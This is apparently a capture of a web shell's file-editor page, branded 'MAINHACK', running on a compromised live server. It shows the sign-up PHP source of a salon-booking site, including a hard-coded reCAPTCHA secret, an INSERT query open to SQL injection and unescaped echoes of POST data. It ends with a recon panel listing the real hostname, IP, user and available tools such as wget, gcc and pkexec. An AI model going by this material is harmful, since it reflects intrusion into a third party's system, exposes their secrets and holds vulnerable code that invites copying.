[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: signup.php
<?php use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; require 'PHPMailer/src/Exception.php'; require 'PHPMailer/src/PHPMailer.php'; include("functions.php"); $message = ""; if($_SERVER["REQUEST_METHOD"] == "POST") { if(!csrf_token_is_valid() || !csrf_token_is_recent()) { $login_message = "<p class='alert alert-danger text-center ' role='alert'>Sorry, Token Authentication invalid.</p>"; } else { $full_name = test_input($_POST['full_name']); $username = test_input($_POST['username']); $business_name = test_input($_POST['business_name']); $phone = test_input($_POST['phone']); $location = test_input($_POST['location']); $country = test_input($_POST['country']); $currency = test_input($_POST['currency']); $password = test_input($_POST['password']); $confirm_password = test_input($_POST['confirm_password']); $email = test_input($_POST['email']); $recaptchaSecret = "6LfFbnQmAAAAADMyU244ZrePAQS1L4QBUNXVCe7E"; $recaptchaResponse = $_POST['g-recaptcha-response']; $recaptchaUrl = 'https://www.google.com/recaptcha/api/siteverify'; $recaptchaData = [ 'secret' => $recaptchaSecret, 'response' => $recaptchaResponse ]; $recaptchaOptions = [ 'http' => [ 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($recaptchaData) ] ]; $recaptchaContext = stream_context_create($recaptchaOptions); $recaptchaResult = file_get_contents($recaptchaUrl, false, $recaptchaContext); $recaptchaJson = json_decode($recaptchaResult); if($currency == ""){ $message = "<p style='color:red'>Please enter your currency</p>"; } if($password == ""){ $message = "<p style='color:red'>Please enter your password</p>"; } if($confirm_password == ""){ $message = "<p style='color:red'>Confirm your password</p>"; } if($confirm_password != $password){ $message = "<p style='color:red'>Your password do not match</p>"; } if($location == ""){ $message = "<p style='color:red'>Please enter your Business address or location</p>"; } if($country == ""){ $message = "<p style='color:red'>Please enter your country</p>"; } if($phone == ""){ $message = "<p style='color:red'>Please enter your Business phone number</p>"; } if($business_name == ""){ $message = "<p style='color:red'>Please enter your Business name</p>"; } if($username == ""){ $message = "<p style='color:red'>Please enter your Last name</p>"; } //$randomString = generateRandomString(5); // Change the length as needed if($full_name == ""){ $message = "<p style='color:red'>Please enter your first name</p>"; } else { if(!$message){ if ($recaptchaJson->success) { $pass = password_hash($password,PASSWORD_BCRYPT, array('cost'=>12)); $validation_code = md5($email . microtime()); $active = 0; $account_type = "Owner"; $expired = 'no'; $open_clode_time = '9:00 am - 9:00 pm'; $account_status = "Trial"; $forgot_pass_expire_time = date("Y-m-d"); $convertedString = str_replace(' ', '', $business_name); $expiryDate = date('Y-m-d', strtotime($forgot_pass_expire_time . ' + 14 days')); $stmt = $con->prepare("insert into barber_admin (username,email,full_name,password,validation_code,active,forgot_pass_expire_time,phone,business_name,location,account_type,expired,open_clode_time,account_status,master_account,country,currency) values(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)"); $stmt->execute(array($username,$email,$full_name,$pass,$validation_code,$active,$expiryDate,$phone,$convertedString,$location,$account_type,$expired,$open_clode_time,$account_status,$convertedString,$country,$currency)); $checkbox_value = $_POST['checkbox_values']; $status = 0; $account_type2 = "Admin"; $add = 0; $delete = 0; $update = 0; foreach ($checkbox_value as $value) { $querye = 'insert into `role_permissions`(`page_name`, `status`, `business_name`, `type`, `add`, `updaterecord`, `deleterecord`) VALUES ("'.$value.'","'.$status.'","'.$convertedString.'","'.$account_type2.'","'.$add.'","'.$update.'","'.$delete.'")'; $stmt = mysqli_query($new, $querye); } $subject = "Activate Account"; $mail_body = "<head> <meta name='viewport' content='width=device-width' /> <meta http-equiv='Content-Type' content='text/html; charset=UTF-8' /> </head> <body style='margin:0px; background: #f8f8f8; '> <div width='100%' style='background: #f8f8f8; padding: 0px 0px; font-family:arial; line-height:28px; height:100%; width: 100%; color: #0892D0;'> <table class='email-header'> </table> <div style='max-width: 700px; padding:50px 0; margin: 0px auto; font-size: 14px'> <center> <td class='text-center pb-4'> </td> </center> <div style='padding: 40px; background: #fff;'> <table border='0' cellpadding='0' cellspacing='0' style='width: 100%;'> <tbody> <tr> <td style='border-bottom:1px solid #0892D0;'> <h1>Verify Your Account </h1> </td> </tr> <tr> <td style='padding:10px 0 30px 0;'> <p style='font-size: 20px'>Thank you for signing up on thesalonfriend. Please click on the button below to verify your account<br />Thank you.</p> <center> <a href =\"https://thesalonfriend.com/auth/activate?email=$email&code=$validation_code\" style='display: inline-block; padding: 11px 30px; margin: 20px 0px 30px; font-size: 15px; color: #fff; background: #0892D0; border-radius: 60px; text-decoration:none;'> Verify Email</a> </center> </td> </tr> <tr> <br /><br /> </tr> </tbody> </table> </div> <center> <td class='text-center pt-4'> <p class='email-copyright-text'>Copyright © 2023 THE SALON FRIEND. All rights reserved.</p> </td> </center> </div> </div> </div> </body> </html>"; $mail = new PHPMailer(); $mail->addAddress($email); $mail->setFrom('noreply@thesalonfriend.com','thesalonfriend'); $mail->Subject = $subject; $mail->isHTML(true); $mail->CharSet= 'UTF-8'; $mail->Body = $mail_body; if($mail->send()){ $_SESSION['register_success'] = "<p style='color:green'>Activation link has been send to this email </p>"; echo "<script>"; echo "window.location.replace('index')"; echo "</script>"; }else{ echo 'Message could not be sent. Mailer Error: ', $mail->ErrorInfo; } } else { $message = '<p style="color:red">reCAPTCHA verification failed. Please try again </p>'; } } } } } ?> <!DOCTYPE html> <html lang="en"> <head> <!-- Required Meta Tags Always Come First --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Title --> <title>Sign Up | The Salon Friend</title> <link rel="shortcut icon" href="../assets/icon.png" type="image/x-icon"> <link rel="icon" href="../assets/icon.png" type="image/x-icon"> <!-- Font --> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/chosen/1.5.1/chosen.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.4/jquery.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/chosen/1.5.1/chosen.jquery.min.js"></script> <script src="https://www.google.com/recaptcha/api.js" async defer></script> <!-- CSS Implementing Plugins --> <link rel="stylesheet" href="assets/vendor/bootstrap-icons/font/bootstrap-icons.css"> <!-- CSS Unify Template --> <link rel="stylesheet" href="assets/css/theme.min.css"> </head> <body class="d-flex align-items-center min-h-100 bg-dark"> <!-- ========== MAIN CONTENT ========== --> <main id="content" role="main" class="flex-grow-1 overflow-hidden"> <!-- Content --> <div class="container content-space-t-1 content-space-b-2"> <div class="mx-lg-auto" style="max-width: 55rem;"> <div class="d-flex justify-content-center align-items-center flex-column min-vh-lg-100"> <div class="position-relative"> <!-- Card --> <div class="card card-shadow card-login"> <div class="row"> <div class="col-md-12"> <div class="card-body"> <!-- Form --> <!-- <form method="POST" class="js-validate needs-validation" novalidate> --> <form method="POST" action="<?php echo test_input($_SERVER['PHP_SELF']) ?>"> <?php echo csrf_token_tag(); ?> <div class="text-center"> <div class="mb-5"> <h3 class="card-title">Create your account</h3> <?php if($message != "") { echo ($message) ; } ?> </div> </div> <!-- Form --> <div class="row"> <div class="col-sm-4"> <label class="form-label" for="fullNameSrEmail">First name</label> <!-- Form --> <div class="mb-4"> <input type="text" onkeydown="return /[a-z]/i.test(event.key)" class="form-control form-control-lg" name="full_name" id="fullNameSrEmail" aria-label="Mark" value="<?php if (isset($_POST['full_name'])) { echo $_POST['full_name']; } ?>"> <span class="invalid-feedback">Please enter your first name.</span> </div> <!-- End Form --> </div> <div class="col-sm-4"> <label class="form-label" for="fullNameSrEmail">Last name</label> <!-- Form --> <div class="mb-4"> <input type="text" name="username" onkeydown="return /[a-z]/i.test(event.key)" class="form-control form-control-lg" aria-label="Williams" value="<?php if (isset($_POST['username'])) { echo $_POST['username']; } ?>"> <span class="invalid-feedback">Please enter your last name.</span> </div> <!-- End Form --> </div> <div class="col-sm-4"> <label class="form-label" for="fullNameSrEmail">Business name</label> <!-- Form --> <div class="mb-4"> <input type="text" name="business_name" onkeydown="return /[a-z]/i.test(event.key)" class="form-control form-control-lg" aria-label="Williams" value="<?php if (isset($_POST['business_name'])) { echo $_POST['business_name']; } ?>"> <span class="invalid-feedback">Please enter your Business name.</span> </div> <!-- End Form --> </div> </div> <!-- End Form --> <!-- Form --> <div class="row"> <div class="col-sm-4"> <label class="form-label" for="fullNameSrEmail">Business phone number</label> <!-- Form --> <div class="mb-4"> <input type="number" name="phone" min="9" onkeypress="return isNumberKey(event)" class="form-control form-control-lg" aria-label="Williams" pattern="[0-9\s]{13,19}" value="<?php if (isset($_POST['phone'])) { echo $_POST['phone']; } ?>"> <span class="invalid-feedback">Please enter your Business phone.</span> </div> <!-- End Form --> </div> <div class="col-sm-4"> <label class="form-label" for="fullNameSrEmail">Business address</label> <!-- Form --> <div class="mb-4"> <input type="text" name="location" class="form-control form-control-lg" aria-label="Williams" value="<?php if (isset($_POST['location'])) { echo $_POST['location']; } ?>"> <span class="invalid-feedback">Please enter your Business address.</span> </div> <!-- End Form --> </div> <div class="col-sm-4"> <label class="form-label" for="fullNameSrEmail">Select Currency</label> <!-- Form --> <div class="mb-4"> <select class="form-control form-control-lg customer_idd" aria-label="Williams" name="currency" value="<?php if (isset($_POST['currency'])) { echo $_POST['currency']; } ?>"> <option value=""> Select Currency</option> <?php $so = mysqli_query($new,"SELECT * FROM currency "); while($fetch = mysqli_fetch_array($so)){ ?> <option value="<?php echo $fetch['code'];?>"> <?php echo $fetch['code'];?></option> <?php }?> <span class="invalid-feedback">Please Select Currency.</span> </select> </div> <!-- End Form --> </div> </div> <div class="mb-6"> <select class="form-control customer_idd" id="country_select" name="country" value="<?php if (isset($_POST['country'])) { echo $_POST['country']; } ?>"> <option value=""> Select Country</option> <?php $so = mysqli_query($new,"SELECT name FROM countries order by name DESC"); while($fetch = mysqli_fetch_array($so)){ ?> <option value="<?php echo $fetch['name'];?>"> <?php echo $fetch['name'];?></option> <?php }?> <span class="invalid-feedback">Please Select country.</span> </select> </div> <div class="row"> <div class="col-sm-4"> <label class="form-label" for="signupSrEmail">Your email</label> <input type="email" class="form-control form-control-lg" name="email" id="signupSrEmail" aria-label="Markwilliams@site.com" value="<?php if (isset($_POST['email'])) { echo $_POST['email']; } ?>"> <span class="invalid-feedback">Please enter a valid email address.</span> </div> <div class="col-sm-4"> <label class="form-label" for="signupSrPassword">Password</label> <div class="input-group-merge"> <input type="password" class="js-toggle-password form-control form-control-lg" name="password" value="<?php if (isset($_POST['password'])) { echo $_POST['password']; } ?>"> </div> </div> <div class="col-sm-4"> <label class="form-label" for="signupSrConfirmPassword">Confirm password</label> <div class="input-group-merge"> <input type="password" class="js-toggle-password form-control form-control-lg" name="confirm_password" value="<?php if (isset($_POST['confirm_password'])) { echo $_POST['confirm_password']; } ?>"> </div> </div> </div> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck1" value="Dashboard Analytics"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck2" value="Service Category"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck3" value="Service"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck4" value="In-House Sales"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck5" value="Online Appointments"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck6" value="Suppliers"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck7" value="Product Stock"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck8" value="POS"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck9" value="Product Sales"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck10" value="Product Out of Stock"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck11" value="Add New Stock"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck12" value="Products Report"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck13" value="Vendors"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck14" value="Employee"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck15" value="Payroll"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck16" value="Manage Users"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck17" value="Customers"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck18" value="Customers Report"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck19" value="Todays-service"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck20" value="Sales Report"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck21" value="Commission"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck22" value="Commission Report"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck23" value="Expenses"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck24" value="Expenses Report"> <br /><br /> <center> <div class="g-recaptcha" data-sitekey="6LfFbnQmAAAAANWKac6hHT6znv8K5J_rQpanP55b"></div> </center><br /> <center> <div class="col-sm-4"> <button type="submit" class="btn btn-primary btn-lg">Create an account</button> <p class="card-text text-muted">Remember your password? <a class="link" href="index">Log in</a></p> </div> </center> </form> <!-- End Form --> </div> </div> <!-- End Col --> <!-- End Col --> </div> <!-- End Row --> </div> <!-- End Card --> <!-- SVG Shape --> <figure class="position-absolute top-0 end-0 zi-n1 d-none d-sm-block mt-n7 me-n10" style="width: 4rem;"> <img class="img-fluid" src="assets/svg/components/pointer-up.svg" alt="Image Description"> </figure> <!-- End SVG Shape --> <!-- SVG Shape --> <figure class="position-absolute bottom-0 start-0 d-none d-sm-block ms-n10 mb-n10" style="width: 15rem;"> <img class="img-fluid" src="assets/svg/components/curved-shape.svg" alt="Image Description"> </figure> <!-- End SVG Shape --> </div> </div> </div> </div> <!-- End Content --> </main> <!-- ========== END MAIN CONTENT ========== --> <!-- JS Global Compulsory --> <script src="assets/vendor/bootstrap/dist/js/bootstrap.bundle.min.js"></script> <!-- JS Implementing Plugins --> <script src="assets/vendor/hs-toggle-password/dist/js/hs-toggle-password.js"></script> <!-- JS Unify --> <script src="assets/js/theme.min.js"></script> <!-- <script> $(".customer_idd").select2({ placeholder: "Search item...", allowClear: true }); </script> --> <script type="text/javascript"> $(document).ready(function(){ $(".customer_idd").chosen(); }); </script> <!-- <script type="text/javascript"> $(document).ready(function(){ $(".customer_idd").chosen(); }); </script> --> <!-- JS Plugins Init. --> <!-- <script> (function() { HSBsValidation.init('.js-validate', { onSubmit: data => { data.event.preventDefault() //alert('Submited') } }) new HSTogglePassword('.js-toggle-password') })() </script> --> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.79 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002